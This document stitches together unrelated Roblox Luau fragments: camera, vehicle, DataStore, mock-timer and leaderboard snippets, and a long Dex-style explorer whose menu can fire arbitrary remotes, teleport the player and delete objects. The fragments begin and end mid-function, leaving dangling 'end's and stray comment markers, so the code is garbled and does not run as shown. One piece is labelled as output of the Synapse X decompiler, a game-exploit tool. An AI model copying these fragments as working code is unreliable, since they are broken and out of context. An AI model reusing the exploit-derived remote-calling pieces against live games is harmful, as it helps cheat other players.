Unmark the data store as a backup data store and tell :Get() and reset values to nil.
</description>
**--]]
|
function DataStore:ClearBackup()
self.backup = nil
self.haveValue = false
self.value = nil
self.getRawPromise = nil
end
|
-- Time it takes to tween between view switches:
|
local TWEEN_DURATION = 0.25
local V3 = Vector3.new
local CF = CFrame.new
local ANG = CFrame.Angles
local ACOS = math.acos
local COS = math.cos
local SIN = math.sin
local RAND = math.random
local TAU = math.pi * 2
local CamLock = {}
local cam = game.Workspace.CurrentCamera
local plane
local seat
local currentViewIndex = 1
local currentView
local viewRotH = 0
local viewRotV = 0
local MAX_VIEW_ROT_V = math.rad(80)
local mobileDeviceBank = 0
local Damping = require(script:WaitForChild("Damping"))
local easing = require(script:WaitForChild("Easing"))
local dampCam = Damping.new()
local dampRot = Damping.new()
local dampShake = Damping.new()
dampShake.P = 3
dampShake.D = 0.05
local tweening = false
local tweenStart = 0
local tweenFromView = nil
local views = {
-- Pivot: Point around which camera rotates
-- Offset: Camera offset from pivot point
-- Ease: Ease function used when tweening into the view
-- Third-person:
{
Pivot = CF(0, 3.5, -1.1);
Offset = CF(0, 8, 40);
Ease = easing.outQuint;
};
-- First-person:
{
Pivot = CF(0, 3.5, -1.1);
Offset = CF(0, 0, 0);
Ease = easing.outQuint;
};
-- Landing gear:
{
Pivot = CF(0, -3.5, -0.5);
Offset = CF(0, 0, 0);
Ease = easing.outQuint;
};
}
|
--Steering Gyro
|
SteeringGyro = Instance.new("BodyGyro")
SteeringGyro.Parent = bike.FrontSection.TripleTreeHinge
SteeringGyro.Name = "SteeringGyro"
SteeringGyro.D = _Tune.SteerD
SteeringGyro.MaxTorque = Vector3.new(0,0,0)
SteeringGyro.P = _Tune.SteerP
|
--FakeTorso.Massless = true
|
FakeTorso.Parent = Viewmodel
Viewmodel.PrimaryPart = FakeHumanoidRootPart
Viewmodel.WorldPivot = FakeHumanoidRootPart.CFrame+FakeHumanoidRootPart.CFrame.UpVector*5
Viewmodel.Parent = nil
local LeftShoulderClone = nil
local RightShoulderClone = nil
local RootHipClone = nil
|
--[[---------------- CONNECTIONS -----------------]]
|
--
updateInputHoldEvent.OnServerEvent:Connect(onUpdateInputHoldEvent)
updateHoverObjectEvent.OnServerEvent:Connect(onUpdateHoverObjectEvent)
equippedGunIndexVal.Changed:Connect(function()
onUpdateHoverObjectEvent(ply, mouseHoverObjectVal.Value or nil)
end)
downedVal.Changed:Connect(onDown)
local function dropAllParts()
local parts = BMM.getCharacterCurrentHoldingParts(char)
for _, partVal in pairs(parts) do
BMM.dropPartFromInventory(char, partVal)
end
end
local leaveConn = nil
local diedConn = nil
leaveConn = game.Players.PlayerRemoving:Connect(function(player)
if ply ~= player then return end
if leaveConn then leaveConn:Disconnect() end
if diedConn then diedConn:Disconnect() end
dropAllParts()
end)
diedConn = hum.Died:Connect(function()
if leaveConn then leaveConn:Disconnect() end
if diedConn then diedConn:Disconnect() end
dropAllParts()
end)
|
--[[
* Given two strings, compute a score representing whether the internal
* boundary falls on logical boundaries.
* Scores range from 6 (best) to 0 (worst).
* @param {string} one First string.
* @param {string} two Second string.
* @return {number} The score.
* @private
--]]
|
local function _diff_cleanupSemanticScore(one: string, two: string): number
if #one == 0 or #two == 0 then
-- Edges are the best.
return 6
end
-- Each port of this function behaves slightly differently due to
-- subtle differences in each language's definition of things like
-- 'whitespace'. Since this function's purpose is largely cosmetic,
-- the choice has been made to use each language's native features
-- rather than force total conformity.
local char1 = strsub(one, -1)
local char2 = strsub(two, 1, 1)
local nonAlphaNumeric1 = strmatch(char1, "%W")
local nonAlphaNumeric2 = strmatch(char2, "%W")
local whitespace1 = nonAlphaNumeric1 and strmatch(char1, "%s")
local whitespace2 = nonAlphaNumeric2 and strmatch(char2, "%s")
local lineBreak1 = whitespace1 and strmatch(char1, "%c")
local lineBreak2 = whitespace2 and strmatch(char2, "%c")
local blankLine1 = lineBreak1 and strmatch(one, "\n\r?\n$")
local blankLine2 = lineBreak2 and strmatch(two, "^\r?\n\r?\n")
if blankLine1 or blankLine2 then
-- Five points for blank lines.
return 5
elseif lineBreak1 or lineBreak2 then
-- Four points for line breaks.
return 4
elseif nonAlphaNumeric1 and not whitespace1 and whitespace2 then
-- Three points for end of sentences.
return 3
elseif whitespace1 or whitespace2 then
-- Two points for whitespace.
return 2
elseif nonAlphaNumeric1 or nonAlphaNumeric2 then
-- One point for non-alphanumeric.
return 1
end
return 0
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
cPcall = nil;
Pcall = nil;
Routine = nil;
service = nil;
gTable = nil;
return function(p1)
if not p1.Question then
return;
end;
local l__gTable__1 = p1.gTable;
local l__BaseClip__2 = script.Parent.Parent.BaseClip;
local v3 = p1.Duration or p1.Timeout;
local l__Frame__4 = l__BaseClip__2.Frame;
l__Frame__4.Parent = l__BaseClip__2;
l__Frame__4.Position = UDim2.new(0.5, -210, 0, -l__Frame__4.Size.Y.Offset);
l__Frame__4.Visible = true;
local l__Body__5 = l__Frame__4:WaitForChild("Body");
local l__Options__6 = l__Body__5:WaitForChild("Options");
local l__Confirm__7 = l__Options__6:WaitForChild("Confirm");
local l__Cancel__8 = l__Options__6:WaitForChild("Cancel");
l__Body__5:WaitForChild("Command").Text = p1.Subtitle and " ";
l__Body__5.Ques.Text = p1.Question and "Unknown";
l__Frame__4.Top.Title.Text = p1.Title and "Yes/No Prompt";
l__Body__5.Options.Cancel.Text = p1.No and "No";
l__Body__5.Options.Confirm.Text = p1.Yes and "Yes";
l__gTable__1:Ready();
local u1 = nil;
function l__gTable__1.CustomDestroy()
l__gTable__1.CustomDestroy = nil;
l__gTable__1.ClearEvents();
if u1 == nil then
u1 = p1.No and "No";
end;
pcall(function()
l__Frame__4:TweenPosition(UDim2.new(0.5, -210, 1, 0), "Out", "Quint", 0.3, true, function(p2)
if p2 == Enum.TweenStatus.Completed then
l__Frame__4:Destroy();
end;
end);
wait(0.3);
end);
l__gTable__1:Destroy();
end;
l__Frame__4:TweenPosition(UDim2.new(0.5, -210, 0.5, -70), "Out", "Quint", 0.3, true);
local u2 = nil;
u2 = l__gTable__1.BindEvent(l__Confirm__7.MouseButton1Click, function()
u2:Disconnect();
l__Frame__4:TweenPosition(UDim2.new(0.5, -210, 1, 0), "Out", "Quint", 0.3, true, function(p3)
if p3 == Enum.TweenStatus.Completed then
l__Frame__4:Destroy();
end;
end);
u1 = p1.Yes and "Yes";
wait(0.3);
l__gTable__1:Destroy();
end);
local u3 = nil;
u3 = l__gTable__1.BindEvent(l__Cancel__8.MouseButton1Click, function()
u3:Disconnect();
l__Frame__4:TweenPosition(UDim2.new(0.5, -210, 1, 0), "Out", "Quint", 0.3, true, function(p4)
if p4 == Enum.TweenStatus.Completed then
l__Frame__4:Destroy();
end;
end);
u1 = p1.No and "No";
wait(0.3);
l__gTable__1:Destroy();
end);
local v9 = tick();
while true do
wait();
if u1 ~= nil then
break;
end;
if v3 and v3 < tick() - v3 then
break;
end;
end;
if u1 == nil then
u1 = false;
end;
return nil;
end;
|
-- return moduleResult
-- end
|
return {
-- Mock functions
fn = function(...)
return mock:fn(...)
end,
clearAllMocks = function()
return mock:clearAllMocks()
end,
resetAllMocks = function()
return mock:resetAllMocks()
end,
_mock = mock,
-- Mock timers
useFakeTimers = function()
return fakeTimers:useFakeTimers()
end,
useRealTimers = function()
return fakeTimers:useRealTimers()
end,
runAllTicks = function()
return fakeTimers:runAllTicks()
end,
runAllTimers = function()
return fakeTimers:runAllTimers()
end,
advanceTimersByTime = function(msToRun)
fakeTimers:advanceTimersByTime(msToRun)
end,
runTimersToTime = function(msToRun)
fakeTimers:advanceTimersByTime(msToRun)
end,
runOnlyPendingTimers = function()
fakeTimers:runOnlyPendingTimers()
end,
advanceTimerstoNextTimer = function(steps)
fakeTimers:advanceTimerstoNextTimer(steps)
end,
clearAllTimers = function()
fakeTimers:clearAllTimers()
end,
getTimerCount = function()
fakeTimers:getTimerCount()
end,
setSystemTime = function(now)
fakeTimers:setSystemTime(now)
end,
getRealSystemTime = function()
fakeTimers:getRealSystemTime()
end,
testEnv = {
delay = fakeTimers.delayOverride,
tick = fakeTimers.tickOverride,
DateTime = fakeTimers.dateTimeOverride,
os = fakeTimers.osOverride,
-- require = requireOverride,
},
_fakeTimers = fakeTimers,
}
|
--[[
symbol = Symbol.new(id: string [, scope: Symbol])
Symbol.Is(obj: any): boolean
Symbol.IsInScope(obj: any, scope: Symbol): boolean
--]]
|
local CLASSNAME = "Symbol"
|
--[[
This is a test file to demonstrate how ragdolls work. If you don't use
this file, you need to manually apply the Ragdoll tag to humanoids that
you want to ragdoll
--]]
|
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local StarterPack = game:GetService("StarterPack")
local StarterPlayer = game:GetService("StarterPlayer")
script.KillScript.Parent = StarterPlayer.StarterCharacterScripts
script.RagdollMe.Parent = StarterPlayer.StarterCharacterScripts
|
--------------------- PLEASE DO NOT EDIT BELOW!!!
|
local Auto_Load = true
local Auto_Save = true
local Save_On_Leave = true
local Stats = {"Kills"}
local StatsNotToSave = {"Helmet","Bandana","Headset","Glasses","PW"}
game.Players.PlayerAdded:connect(function(p)
wait()
local ODS = game:GetService("DataStoreService"):GetDataStore(p.userId)
for i = 1,#Stats do
ODS:UpdateAsync(Stats[i], function(old)
return old or 0
end)
end
local l = Instance.new("Model", p)
l.Name = "leaderstats"
for i = 1,#StatsNotToSave do
S = Instance.new("StringValue", l)
S.Name = StatsNotToSave[i]
end
for i = 1,#Stats do
S = Instance.new("NumberValue", l)
S.Name = Stats[i]
if Auto_Load then
S.Value = ODS:GetAsync(Stats[i])
end
if Auto_Save then
S.Changed:connect(function()
ODS:SetAsync(Stats[i], S.Value)
end)
end
end
end)
if Save_On_Leave then
game.Players.PlayerRemoving:connect(function(p)
local ODS = game:GetService("DataStoreService"):GetDataStore(p.userId)
for i = 1,#Stats do
stat = p.leaderstats:FindFirstChild(Stats[i])
if stat then
ODS:UpdateAsync(stat.Name, function(old)
return stat.Value
end)
end
end
end)
end
|
--Spoiler
|
MakeWeld(car.Misc.Spoiler.SS,car.DriveSeat,"Motor",.04).Name="W"
ModelWeld(car.Misc.Spoiler.Parts,car.Misc.Spoiler.SS)
|
-- Right Arms
|
local RUA = character.UpperTorso:FindFirstChild("RightShoulderRigAttachment")
local RUARig = character.RightUpperArm:FindFirstChild("RightShoulderRigAttachment")
local RLA = character.RightUpperArm:FindFirstChild("RightElbowRigAttachment")
local RLARig = character.RightLowerArm:FindFirstChild("RightElbowRigAttachment")
local RH = character.RightLowerArm:FindFirstChild("RightWristRigAttachment")
local RHRig = character.RightHand:FindFirstChild("RightWristRigAttachment")
|
-------------------------
|
function onClicked()
R.Function1.Disabled = false
R.loop.Disabled = true
R.BrickColor = BrickColor.new("Lime green")
R.Function2.Disabled = true
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
-- Matches objects to their tree node representation.
|
local NodeLookup = {}
local nodeWidth = 0
local QuickButtons = {}
function filteringWorkspace()
if explorerFilter.Text ~= "" and explorerFilter.Text ~= "Filter workspace..." then
return true
end
return false
end
function lookForAName(obj,name)
for i,v in pairs(obj:GetChildren()) do
if string.find(string.lower(v.Name),string.lower(name)) then nameScanned = true end
lookForAName(v,name)
end
end
function scanName(obj)
nameScanned = false
if string.find(string.lower(obj.Name),string.lower(explorerFilter.Text)) then
nameScanned = true
else
lookForAName(obj,explorerFilter.Text)
end
return nameScanned
end
function updateActions()
for i,v in pairs(QuickButtons) do
if v.Cond() then
v.Toggle(true)
else
v.Toggle(false)
end
end
end
local updateList,rawUpdateList,updateScroll,rawUpdateSize do
local function r(t)
for i, v in ipairs(t) do
if not filteringWorkspace() or scanName(v.Object) then
if t.Object == game then
if childrenGame[v.Object] then
table.insert(TreeList, v)
local w = (v.Depth)*(2+ENTRY_PADDING+GUI_SIZE) + 2 + ENTRY_SIZE + 4 + getTextWidth(v.Object.Name) + 4
if w > nodeWidth then
nodeWidth = w
end
if v.Expanded or filteringWorkspace() then
r(v)
end
end
else
table.insert(TreeList, v)
local w = (v.Depth)*(2+ENTRY_PADDING+GUI_SIZE) + 2 + ENTRY_SIZE + 4 + getTextWidth(v.Object.Name) + 4
if w > nodeWidth then
nodeWidth = w
end
if v.Expanded or filteringWorkspace() then
r(v)
end
end
end
end
end
function rawUpdateSize()
scrollBarH.TotalSpace = nodeWidth
scrollBarH.VisibleSpace = listFrame.AbsoluteSize.x
scrollBarH:Update()
local visible = scrollBarH:CanScrollDown() or scrollBarH:CanScrollUp()
scrollBarH.GUI.Visible = visible
listFrame.Size = UDim2_new(1,-GUI_SIZE,1,-GUI_SIZE*(visible and 1 or 0) - HEADER_SIZE)
scrollBar.VisibleSpace = math.ceil(listFrame.AbsoluteSize.y/ENTRY_BOUND)
scrollBar.GUI.Size = UDim2_new(0,GUI_SIZE,1,-GUI_SIZE*(visible and 1 or 0) - HEADER_SIZE)
scrollBar.TotalSpace = #TreeList+1
scrollBar:Update()
end
function rawUpdateList()
-- Clear then repopulate the entire list. It appears to be fast enough.
table.clear(TreeList)
nodeWidth = 0
r(NodeLookup[game])
r(NodeLookup[DexOutput])
r(NodeLookup[HiddenEntries])
r(NodeLookup[HiddenGame])
rawUpdateSize()
updateActions()
end
-- Adding or removing large models will cause many updates to occur. We
-- can reduce the number of updates by creating a delay, then dropping any
-- updates that occur during the delay.
local updatingList = false
function updateList()
if updatingList then return end
updatingList = true
wait(0.25)
updatingList = false
rawUpdateList()
end
local updatingScroll = false
function updateScroll()
if updatingScroll then return end
updatingScroll = true
wait(0.25)
updatingScroll = false
scrollBar:Update()
end
end
local Selection do
local bindGetSelection = explorerPanel:FindFirstChild("GetSelection")
if not bindGetSelection then
bindGetSelection = Create('BindableFunction',{Name = "GetSelection"})
bindGetSelection.Parent = explorerPanel
end
local bindSetSelection = explorerPanel:FindFirstChild("SetSelection")
if not bindSetSelection then
bindSetSelection = Create('BindableFunction',{Name = "SetSelection"})
bindSetSelection.Parent = explorerPanel
end
local bindSelectionChanged = explorerPanel:FindFirstChild("SelectionChanged")
if not bindSelectionChanged then
bindSelectionChanged = Create('BindableEvent',{Name = "SelectionChanged"})
bindSelectionChanged.Parent = explorerPanel
end
local SelectionList = {}
local SelectionSet = {}
local Updates = true
Selection = {
Selected = SelectionSet;
List = SelectionList;
}
local function addObject(object)
-- list update
local lupdate = false
-- scroll update
local supdate = false
if not SelectionSet[object] then
local node = NodeLookup[object]
if node then
table.insert(SelectionList,object)
SelectionSet[object] = true
node.Selected = true
-- expand all ancestors so that selected node becomes visible
node = node.Parent
while node do
if not node.Expanded then
node.Expanded = true
lupdate = true
end
node = node.Parent
end
supdate = true
end
end
return lupdate,supdate
end
Selection.Finding = false
Selection.Found = {}
function Selection:Set(objects)
if Selection.Finding then
Selection.Found = objects
end
local lupdate = false
local supdate = false
if #SelectionList > 0 then
for i = 1,#SelectionList do
local object = SelectionList[i]
local node = NodeLookup[object]
if node then
node.Selected = false
SelectionSet[object] = nil
end
end
SelectionList = {}
Selection.List = SelectionList
supdate = true
end
for i = 1,#objects do
local l,s = addObject(objects[i])
lupdate = l or lupdate
supdate = s or supdate
end
if lupdate then
rawUpdateList()
supdate = true
elseif supdate then
scrollBar:Update()
end
if supdate then
bindSelectionChanged:Fire()
updateActions()
end
end
function Selection:Add(object)
local l,s = addObject(object)
if l then
rawUpdateList()
if Updates then
bindSelectionChanged:Fire()
updateActions()
end
elseif s then
scrollBar:Update()
if Updates then
bindSelectionChanged:Fire()
updateActions()
end
end
end
function Selection:StopUpdates()
Updates = false
end
function Selection:ResumeUpdates()
Updates = true
bindSelectionChanged:Fire()
updateActions()
end
function Selection:Remove(object,noupdate)
if SelectionSet[object] then
local node = NodeLookup[object]
if node then
node.Selected = false
SelectionSet[object] = nil
for i = 1,#SelectionList do
if SelectionList[i] == object then
table.remove(SelectionList,i)
break
end
end
if not noupdate then
scrollBar:Update()
end
bindSelectionChanged:Fire()
updateActions()
end
end
end
function Selection:Get()
local list = {}
for i = 1,#SelectionList do
if SelectionList[i] ~= HiddenEntriesMain and SelectionList[i] ~= DexOutputMain then
table.insert(list, SelectionList[i])
end
end
return list
end
bindSetSelection.OnInvoke = function(...)
Selection:Set(...)
end
bindGetSelection.OnInvoke = function()
return Selection:Get()
end
end
function CreateCaution(title,msg)
local newCaution = CautionWindow
newCaution.Visible = true
newCaution.Title.Text = title
newCaution.MainWindow.Desc.Text = msg
newCaution.MainWindow.Ok.MouseButton1Up:connect(function()
newCaution.Visible = false
end)
end
function CreateTableCaution(title,msg)
if type(msg) ~= "table" then return CreateCaution(title,tostring(msg)) end
local newCaution = TableCautionWindow:Clone()
newCaution.Title.Text = title
local TableList = newCaution.MainWindow.TableResults
local TableTemplate = newCaution.MainWindow.TableTemplate
for i,v in pairs(msg) do
local newResult = TableTemplate:Clone()
newResult.Type.Text = type(v)
newResult.Value.Text = tostring(v)
newResult.Position = UDim2_new(0,0,0,#TableList:GetChildren() * 20)
newResult.Parent = TableList
TableList.CanvasSize = UDim2_new(0,0,0,#TableList:GetChildren() * 20)
newResult.Visible = true
end
newCaution.Parent = explorerPanel.Parent
newCaution.Visible = true
newCaution.MainWindow.Ok.MouseButton1Up:connect(function()
newCaution:Destroy()
end)
end
local function Split(str, delimiter)
local start = 1
local t = {}
while true do
local pos = string.find (str, delimiter, start, true)
if not pos then
break
end
table.insert (t, string.sub (str, start, pos - 1))
start = pos + string.len (delimiter)
end
table.insert (t, string.sub (str, start))
return t
end
local function ToValue(value,type)
if type == "Vector2" then
local list = Split(value,",")
if #list < 2 then return nil end
local x = tonumber(list[1]) or 0
local y = tonumber(list[2]) or 0
return Vector2_new(x,y)
elseif type == "Vector3" then
local list = Split(value,",")
if #list < 3 then return nil end
local x = tonumber(list[1]) or 0
local y = tonumber(list[2]) or 0
local z = tonumber(list[3]) or 0
return Vector3_new(x,y,z)
elseif type == "Color3" then
local list = Split(value,",")
if #list < 3 then return nil end
local r = tonumber(list[1]) or 0
local g = tonumber(list[2]) or 0
local b = tonumber(list[3]) or 0
return Color3_new(r/255,g/255, b/255)
elseif type == "UDim2" then
local list = Split(string.gsub(string.gsub(value, "{", ""),"}",""),",")
if #list < 4 then return nil end
local xScale = tonumber(list[1]) or 0
local xOffset = tonumber(list[2]) or 0
local yScale = tonumber(list[3]) or 0
local yOffset = tonumber(list[4]) or 0
return UDim2_new(xScale, xOffset, yScale, yOffset)
elseif type == "Number" then
return tonumber(value)
elseif type == "String" then
return value
elseif type == "NumberRange" then
local list = Split(value,",")
if #list == 1 then
if tonumber(list[1]) == nil then return nil end
local newVal = tonumber(list[1]) or 0
return NumberRange.new(newVal)
end
if #list < 2 then return nil end
local x = tonumber(list[1]) or 0
local y = tonumber(list[2]) or 0
return NumberRange.new(x,y)
elseif type == "Script" then
local success,err = pcall(function()
--return loadstring("return "..tostring(value), "?")()
end)
if err then
return nil
end
else
return nil
end
end
local function ToPropValue(value,type)
if type == "Vector2" then
local list = Split(value,",")
if #list < 2 then return nil end
local x = tonumber(list[1]) or 0
local y = tonumber(list[2]) or 0
return Vector2_new(x,y)
elseif type == "Vector3" then
local list = Split(value,",")
if #list < 3 then return nil end
local x = tonumber(list[1]) or 0
local y = tonumber(list[2]) or 0
local z = tonumber(list[3]) or 0
return Vector3_new(x,y,z)
elseif type == "Color3" then
local list = Split(value,",")
if #list < 3 then return nil end
local r = tonumber(list[1]) or 0
local g = tonumber(list[2]) or 0
local b = tonumber(list[3]) or 0
return Color3_new(r/255,g/255, b/255)
elseif type == "UDim2" then
local list = Split(string.gsub(string.gsub(value, "{", ""),"}",""),",")
if #list < 4 then return nil end
local xScale = tonumber(list[1]) or 0
local xOffset = tonumber(list[2]) or 0
local yScale = tonumber(list[3]) or 0
local yOffset = tonumber(list[4]) or 0
return UDim2_new(xScale, xOffset, yScale, yOffset)
elseif type == "Content" then
return value
elseif type == "float" or type == "int" or type == "double" then
return tonumber(value)
elseif type == "string" then
return value
elseif type == "NumberRange" then
local list = Split(value,",")
if #list == 1 then
if tonumber(list[1]) == nil then return nil end
local newVal = tonumber(list[1]) or 0
return NumberRange.new(newVal)
end
if #list < 2 then return nil end
local x = tonumber(list[1]) or 0
local y = tonumber(list[2]) or 0
return NumberRange.new(x,y)
elseif string.sub(value,1,4) == "Enum" then
local getEnum = value
while true do
local x,y = string.find(getEnum,".")
if y then
getEnum = string.sub(getEnum,y+1)
else
break
end
end
print(getEnum)
return getEnum
else
return nil
end
end
function PromptCaller(inst)
if CurrentRemoteWindow then
CurrentRemoteWindow:Destroy()
CurrentRemoteWindow = nil
end
CurrentRemoteWindow = RemoteWindow:Clone()
CurrentRemoteWindow.Parent = explorerPanel.Parent
CurrentRemoteWindow.Visible = true
local displayValues = false
local ArgumentList = CurrentRemoteWindow.MainWindow.Arguments
local ArgumentTemplate = CurrentRemoteWindow.MainWindow.ArgumentTemplate
if inst:IsA("RemoteEvent") or inst:IsA("BindableEvent") then
CurrentRemoteWindow.Title.Text = "Fire Event"
CurrentRemoteWindow.MainWindow.Ok.Text = "Fire"
CurrentRemoteWindow.MainWindow.DisplayReturned.Visible = false
CurrentRemoteWindow.MainWindow.Desc2.Visible = false
end
if inst:IsA("RemoteEvent") or inst:IsA("RemoteFunction") then
local newArgument = ArgumentTemplate:Clone()
newArgument.Parent = ArgumentList
newArgument.Visible = true
newArgument.Type.Text = "UserNameToFire"
end
local newArgument = ArgumentTemplate:Clone()
if inst:IsA("RemoteEvent") or inst:IsA("RemoteFunction") then
newArgument.Position = UDim2_new(0,0,0,20)
ArgumentList.CanvasSize = UDim2_new(0,0,0,40)
end
newArgument.Parent = ArgumentList
newArgument.Visible = true
newArgument.Type.MouseButton1Down:connect(function()
createDDown(newArgument.Type,function(choice)
newArgument.Type.Text = choice
end,"Script","Number","String","Color3","Vector3","Vector2","UDim2","NumberRange")
end)
CurrentRemoteWindow.MainWindow.Ok.MouseButton1Up:connect(function()
if CurrentRemoteWindow and inst.Parent ~= nil then
local MyArguments = {}
for i,v in pairs(ArgumentList:GetChildren()) do
if inst:IsA("RemoteFunction") or inst:IsA("RemoteEvent") and i == 1 then
local Players = game:GetService("Players")
if Players:FindFirstChild(v.Value.Text) then
table.insert(MyArguments,Players[v.Value.Text])
else
CreateCaution("Remote Caller","The username defined is not in-game.")
return
end
end
table.insert(MyArguments,ToValue(v.Value.Text,v.Type.Text))
end
if inst:IsA("RemoteFunction") or inst:IsA("RemoteEvent") then
if displayValues then
spawn(function()
local myResults = RemoteEvent:InvokeServer("CallRemote",inst,MyArguments)
if myResults then
CreateTableCaution("Remote Caller",myResults)
else
CreateCaution("Remote Caller","This remote did not return anything.")
end
end)
else
spawn(function()
RemoteEvent:InvokeServer("CallRemote",inst,MyArguments)
end)
end
else
RemoteEvent:InvokeServer("CallRemote",inst,MyArguments)
end
CurrentRemoteWindow:Destroy()
CurrentRemoteWindow = nil
end
end)
CurrentRemoteWindow.MainWindow.Add.MouseButton1Up:connect(function()
if CurrentRemoteWindow then
local newArgument = ArgumentTemplate:Clone()
newArgument.Position = UDim2_new(0,0,0,#ArgumentList:GetChildren() * 20)
newArgument.Parent = ArgumentList
ArgumentList.CanvasSize = UDim2_new(0,0,0,#ArgumentList:GetChildren() * 20)
newArgument.Visible = true
newArgument.Type.MouseButton1Down:connect(function()
createDDown(newArgument.Type,function(choice)
newArgument.Type.Text = choice
end,"Script","Number","String","Color3","Vector3","Vector2","UDim2","NumberRange")
end)
end
end)
CurrentRemoteWindow.MainWindow.Subtract.MouseButton1Up:connect(function()
if CurrentRemoteWindow then
if (inst:IsA("RemoteFunction") or inst:IsA("RemoteEvent")) and #ArgumentList:GetChildren() > 2 then
ArgumentList:GetChildren()[#ArgumentList:GetChildren()]:Destroy()
ArgumentList.CanvasSize = UDim2_new(0,0,0,#ArgumentList:GetChildren() * 20)
elseif inst:IsA("RemoteFunction") == false and inst:IsA("RemoteEvent") == false and #ArgumentList:GetChildren() > 1 then
ArgumentList:GetChildren()[#ArgumentList:GetChildren()]:Destroy()
ArgumentList.CanvasSize = UDim2_new(0,0,0,#ArgumentList:GetChildren() * 20)
end
end
end)
CurrentRemoteWindow.MainWindow.Cancel.MouseButton1Up:connect(function()
if CurrentRemoteWindow then
CurrentRemoteWindow:Destroy()
CurrentRemoteWindow = nil
end
end)
CurrentRemoteWindow.MainWindow.DisplayReturned.MouseButton1Up:connect(function()
if displayValues then
displayValues = false
CurrentRemoteWindow.MainWindow.DisplayReturned.enabled.Visible = false
else
displayValues = true
CurrentRemoteWindow.MainWindow.DisplayReturned.enabled.Visible = true
end
end)
end
function DestroyRightClick()
if currentRightClickMenu then
currentRightClickMenu:Destroy()
currentRightClickMenu = nil
end
if CurrentInsertObjectWindow and CurrentInsertObjectWindow.Visible then
CurrentInsertObjectWindow.Visible = false
end
end
function rightClickMenu(sObj)
local mouse = game:GetService("Players").LocalPlayer:GetMouse()
currentRightClickMenu = CreateRightClickMenu(
{"Cut","Copy","Paste Into","Duplicate","Delete",false,"Group","Ungroup","Select Children",false,"Teleport To","Call Function","Call Remote/Bindable",false,"Insert Part","Insert Object",false},
"",
false,
function(option)
if option == "Cut" then
if not Option.Modifiable then return end
clipboard = {}
RemoteEvent:InvokeServer("ClearClipboard")
local list = Selection.List
local cut = {}
for i = 1,#list do
local _, obj = pcall(function() return list[i]:Clone() end)
if obj then
table.insert(clipboard,obj)
table.insert(cut,list[i])
RemoteEvent:InvokeServer("Copy", list[i])
end
end
for i = 1,#cut do
pcall(delete,cut[i])
end
updateActions()
elseif option == "Copy" then
if not Option.Modifiable then return end
clipboard = {}
RemoteEvent:InvokeServer("ClearClipboard")
local list = Selection.List
for i = 1,#list do
local _, obj = pcall(function() return list[i]:Clone() end)
if obj then
table.insert(clipboard,obj)
end
RemoteEvent:InvokeServer("Copy", list[i])
end
updateActions()
elseif option == "Paste Into" then
if not Option.Modifiable then return end
local parent = Selection.List[1] or workspace
if not RemoteEvent:InvokeServer("Paste", parent) then
for i = 1,#clipboard do
if (clipboard[i]) then
pcall(function()
clipboard[i]:Clone().Parent = parent
end)
end
end
end
elseif option == "Duplicate" then
if not Option.Modifiable then return end
local list = Selection:Get()
local parent = Selection.List[1].Parent or workspace;
for i = 1,#list do
if not RemoteEvent:InvokeServer("Duplicate", list[i], parent) then -- scel was here again hi
local _, obj = pcall(function() return list[i]:Clone() end)
if obj then
obj.Parent = parent;
end
end
end
elseif option == "Delete" then
if not Option.Modifiable then return end
local list = Selection:Get()
for i = 1,#list do
pcall(delete,list[i])
end
Selection:Set({})
elseif option == "Group" then
if not Option.Modifiable then return end
local parent = Selection.List[1].Parent or workspace
local newModel = RemoteEvent:InvokeServer("InstanceNew", "Model", {Parent = parent}) or Instance_new("Model")
local list = Selection:Get()
newModel.Parent = parent
for i = 1,#list do
list[i].Parent = newModel
RemoteEvent:InvokeServer("SetProperty", list[i], "Parent", newModel)
end
Selection:Set({})
elseif option == "Ungroup" then
if not Option.Modifiable then return end
local ungrouped = {}
local list = Selection:Get()
for i = 1,#list do
if list[i]:IsA("Model") then
for i2,v2 in pairs(list[i]:GetChildren()) do
v2.Parent = list[i].Parent or workspace
table.insert(ungrouped,v2)
RemoteEvent:InvokeServer("SetProperty", v2, "Parent", list[i].Parent or workspace)
end
pcall(delete,list[i])
end
end
Selection:Set({})
if SettingsRemote:Invoke("SelectUngrouped") then
for i,v in pairs(ungrouped) do
Selection:Add(v)
end
end
elseif option == "Select Children" then
if not Option.Modifiable then return end
local list = Selection:Get()
Selection:Set({})
Selection:StopUpdates()
for i = 1,#list do
for i2,v2 in pairs(list[i]:GetChildren()) do
Selection:Add(v2)
end
end
Selection:ResumeUpdates()
elseif option == "Teleport To" then
if not Option.Modifiable then return end
local list = Selection:Get()
for i = 1,#list do
if list[i]:IsA("BasePart") then
pcall(function()
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = list[i].CFrame
end)
break
end
end
elseif option == "Insert Part" then
if not Option.Modifiable then return end
local insertedParts = {}
local list = Selection:Get()
for i = 1,#list do
pcall(function()
local props = {}
props.Parent = list[i]
props.CFrame = CFrame_new(game:GetService("Players").LocalPlayer.Character.Head.Position) + Vector3_new(0,3,0)
local newPart = RemoteEvent:InvokeServer("InstanceNew", "Part", props) or Instance_new("Part")
newPart.Parent = props.Parent;
newPart.CFrame = props.CFrame;
table.insert(insertedParts,newPart)
end)
end
elseif option == "Call Remote/Bindable" then
if not Option.Modifiable then return end
local list = Selection:Get()
for i = 1,#list do
if list[i]:IsA("RemoteFunction") or list[i]:IsA("RemoteEvent") or list[i]:IsA("BindableFunction") or list[i]:IsA("BindableEvent") then
PromptCaller(list[i])
break
end
end
end
end)
currentRightClickMenu.Parent = explorerPanel.Parent
currentRightClickMenu.Position = UDim2_new(0,mouse.X,0,mouse.Y)
if currentRightClickMenu.AbsolutePosition.X + currentRightClickMenu.AbsoluteSize.X > explorerPanel.AbsolutePosition.X + explorerPanel.AbsoluteSize.X then
currentRightClickMenu.Position = UDim2_new(0, explorerPanel.AbsolutePosition.X + explorerPanel.AbsoluteSize.X - currentRightClickMenu.AbsoluteSize.X, 0, mouse.Y)
end
end
local function cancelReparentDrag()end
local function cancelSelectDrag()end
do
local listEntries = {}
local nameConnLookup = {}
local mouseDrag = Create('ImageButton',{
Name = "MouseDrag";
Position = UDim2_new(-0.25,0,-0.25,0);
Size = UDim2_new(1.5,0,1.5,0);
Transparency = 1;
AutoButtonColor = false;
Active = true;
ZIndex = 10;
})
local function dragSelect(last,add,button)
local connDrag
local conUp
conDrag = mouseDrag.MouseMoved:connect(function(x,y)
local pos = Vector2_new(x,y) - listFrame.AbsolutePosition
